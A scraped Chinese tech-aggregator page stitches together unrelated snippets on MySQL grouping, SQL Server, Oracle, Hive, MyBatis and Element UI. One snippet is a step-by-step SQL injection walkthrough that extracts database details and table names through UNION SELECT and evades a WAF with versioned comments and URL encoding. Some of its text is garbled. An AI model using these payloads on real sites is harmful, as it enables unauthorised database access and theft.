select

深入研究mysql中group by与order by取分类最新时间内容——同理在android里也可用

女生的网名这么多〃 提交于 2020-04-01 01:19:14
鉴于项目的需要,就从网上找到该文章,文章分析得很详细也很易懂,在android里,(不知道是不是现在水平的限制,总之我还没找到在用ContentProvider时可以使用子查询),主要方法是用SQLiteDatabase 的 rawQuery,直接运行sql语句就可以了。 以下是转自网上的一篇文章 本文就和大家一起深入研究下mysql中group by与order by.下面是我模拟我的内容表 我现在需要取出每个分类中最新的内容 select * from test group by category_id order by `date` 结果如下 明显。这不是我想要的数据,原因是msyql已经的执行顺序是 引用 写的顺序:select ... from... where.... group by... having... order by.. 执行顺序:from... where...group by... having.... select ... order by... 所以在order by拿到的结果里已经是分组的完的最后结果。 由from到where的结果如下的内容。 到group by时就得到了根据category_id分出来的多个小组 到了select的时候,只从上面的每个组里取第一条信息结果会如下 即使order by也只是从上面的结果里进行排序

WAF绕过方法之URL编码

二次信任 提交于 2020-03-31 23:52:08
(1)SQL注入点 contents.php?id=3 (2)字段数 contents.php?id=3 order by 4 (3)显示位数4 contents.php?id=3 union select 1,2,3,4 正常 (4)爆出用户名,数据库,版本号 contents.php?id=3 UNION select 1,2,3,contents.php?id=3 UNION SELECT 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()) 出现问题 (5)爆表 contents.php?id=3 UNION SELECT 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() 尝试绕过不成功 contents.php?id=3 /*!12345UNION*/ /*!12345SELECT*/ 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() (6)使用URL编码成功绕过(t经过URL编码后为%74) contents.php?id=3 UNION

关于MySqlParameter使用的错误

放肆的年华 提交于 2020-03-31 21:03:43
搜索了半天,检查了半天,却怎么用也不对,原来问题出在sql上: "select count(*) from checkbodyreport where GUID='?guid' 应该是: "select count(*) from checkbodyreport where GUID=?guid 注意到差别了吗,被替换的参数一定不能用引号括起来 。。。 来源: https://www.cnblogs.com/mosakashaka/p/12608018.html

Element ui select 同时获取value和label的值

强颜欢笑 提交于 2020-03-31 15:39:58
html <el-form-item label="单位名称" prop="checkInUnitName"> <el-select v-model="checkInUnitId" class="w440" @change="selectUnitName" placeholder="请选择你的单位名称" > <el-option :label="list.name" :value="list.id" v-for="list in unitList" :key="list.id"> {{list.name}} </el-option> </el-select> </el-form-item> 方法 selectUnitName(e){ let obj = {} this.unitList.map((item) => { // this.unitList 是你 select option遍历的集合 e 是选中的id if(item.id === e) { obj = item } }) } 来源: https://www.cnblogs.com/lieone/p/12325042.html

MS SQL 监控磁盘空间告警

£可爱£侵袭症+ 提交于 2020-03-31 09:17:18
原文 http://www.cnblogs.com/kerrycode/archive/2013/05/07/3065960.html 这几天突然有个想法:希望能够自动监控、收集数据库服务器的磁盘容量信息,当达到一个阀值后,自动发送告警邮件给DBA,将数据库磁盘详细信息告知DBA, 提醒DBA做好存储规划计划, 初步的想法是通过作业调用存储过程来实现(每天调用一次),这样避免了我每天每台数据库服务器都上去检查一下,尤其是手头的数据库服务器N多的情况,这样可以避免我每天浪费无谓的时间。如果大家有更好的建议和方法,欢迎指点一二,我整理、修改了三个存储过程如下: 存储过程1:SP_DiskCapacityAlert1.prc 说 明:需要通过调用OLE 自动存储过程获取磁盘信息,而这些组件,基于服务器的安全配置,通常是禁用的,我们在存储过程通过sp_configure开启这个服务,调用服务完毕 后,又通过sp_configure禁用该服务。另外,数据库服务器都位于内网,因此安全问题应该不大。 USE master; GO SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO IF EXISTS (SELECT 1 FROM dbo.sysobjects WHERE id = OBJECT_ID(N'sp_diskcapacity_alert1'

简单模拟Spring整合Mybatis

余生长醉 提交于 2020-03-30 18:54:20
整体包结构 首选我们需要一个接口类,相当于是Mapper package com.fh.mybatis.dao; import com.fh.mybatis.config.Select; public interface CardDao { @Select("select * from demo") void list(String mess); } 然后是接口类中用到的注解类 package com.fh.mybatis.config; import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target; @Target(ElementType.METHOD) @Retention(RetentionPolicy.RUNTIME) public @interface Select { String value() default ""; } 之后需要一个类,提供代理对象和执行具体的方法 因为实现类FactoryBean接口的类,实例化的时候,会返回getObject方法所返回的对象 package com.fh.mybatis

MySQL基础

 ̄綄美尐妖づ 提交于 2020-03-30 12:32:30
1 SELECT * FROM table . 这条语句经常用来在不清楚table(表)中有什么数据时,能取出所有的数据瞜一眼。 2 一些求最大值的语句 select max(hire_date) from employees 求该列最大值 3 order by --1.降序order by 列名 desc( 注意desc在列名的后面 ) --2.升序order by 列名( 注意这里默认是升序 ) 或order by 列名asc --3.order by语句必须一定要放在整个sql语句的最后。 https://blog.csdn.net/weixin_30530339/article/details/94876267?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task 4 top --查询数学成绩最高的5名 select top 5 * from TblScore order by tMath desc --获取数学成绩最低的5名 select top 5 * from TblScore order by tMath asc --如果top后跟的不是数字,而是一个表达式一定要使用()把表达式括起来。 select top (2*2) *

查询oracle数据库的数据库名、实例名、ORACLE_SID

假装没事ソ 提交于 2020-03-30 08:44:01
连接ORACLE 数据库 SQL> conn risenet/1@//192.168.130.99:1521/risenet 或 sqlplus anxintg/anxintg@//10.7.82.122:1521/orcl 查询表 select * from ESSENWEB.T_ANXINMALL_TG; 数据库名、实例名、数据库域名、全局数据库名、服务名 , 这是几个令很多初学者容易混淆的概念。相信很多初学者都与我一样被标题上这些个概念搞得一头雾水。我们现在就来把它们弄个明白。 一、数据库名 什么是数据库名? 数据库名就是一个数据库的标识,就像人的身份证号一样。他用参数DB_NAME表示,如果一台机器上装了多全数据库,那么每一个数据库都有一个数据库名。在数据库安装或创建完成之后,参数DB_NAME被写入参数文件之中。格式如下: DB_NAME=myorcl ... 在创建数据库时就应考虑好数据库名,并且在创建完数据库之后,数据库名不宜修改,即使要修改也会很麻烦。因为,数据库名还被写入控制文件中,控制文件是以二进制型式存储的,用户无法修改控制文件的内容。假设用户修改了参数文件中的数据库名,即修改DB_NAME的值。但是在Oracle启动时,由于参数文件中的DB_NAME与控制文件中的数据库名不一致,导致数据库启动失败,将返回ORA-01103错误。 数据库名的作用

Hive常见内置函数及其使用

こ雲淡風輕ζ 提交于 2020-03-30 08:12:06
函数分类 HIVE CLI命令 显示当前会话有多少函数可用 SHOW FUNCTIONS; 显示函数的描写叙述信息 DESC FUNCTION concat; 显示函数的扩展描写叙述信息 DESC FUNCTION EXTENDED concat; 简单函数 函数的计算粒度为单条记录。 关系运算 数学运算 逻辑运算 数值计算 类型转换 日期函数 条件函数 字符串函数 统计函数 聚合函数 函数处理的数据粒度为多条记录。 sum()—求和 count()—求数据量 avg()—求平均直 distinct—求不同值数 min—求最小值 max—求最人值 集合函数 复合类型构建 复杂类型訪问 复杂类型长度 特殊函数 窗体函数 应用场景 用于分区排序 动态Group By Top N 累计计算 层次查询 Windowing functions lead lag FIRST_VALUE LAST_VALUE 分析函数 Analytics functions RANK ROW_NUMBER DENSE_RANK CUME_DIST PERCENT_RANK NTILE 混合函数 java_method(class,method [,arg1 [,arg2]) reflect(class,method [,arg1 [,arg2..]]) hash(a1 [,a2...]) UDTF

SQL Server 随机取n条记录

旧巷老猫 提交于 2020-03-30 06:48:15
客户要搞个“ 抽奖” 程序。 生个随机数往记录上对感觉太麻烦,想让记录随机排序。 select * from table order by RAND ( ) RAND需要个种子,帮助实例 SELECT RAND( (DATEPART(mm, GETDATE()) * 100000 ) + (DATEPART(ss, GETDATE()) * 1000 ) + DATEPART(ms, GETDATE()) ) 程序执行的太快这方法不成,每次结果都一样的。 想起GUID每个都不同。 select * from table order by newid ( ) 执行了几次感觉上符合要求,每次出来的都不一样。 至于值域分布没深究,随机函数本身也是伪随机的。 做了个简单的测试 CREATE TABLE #t(cname char(50) ,sysid uniqueidentifier) DECLARE @i int set @i = 0 WHILE (@i) < 1760 BEGIN INSERT INTO #t select top 1 cname,sysid from tVIPMember order by newid() SET @i = @i + 1 END select count(*) from (select cname as a from #t group by cname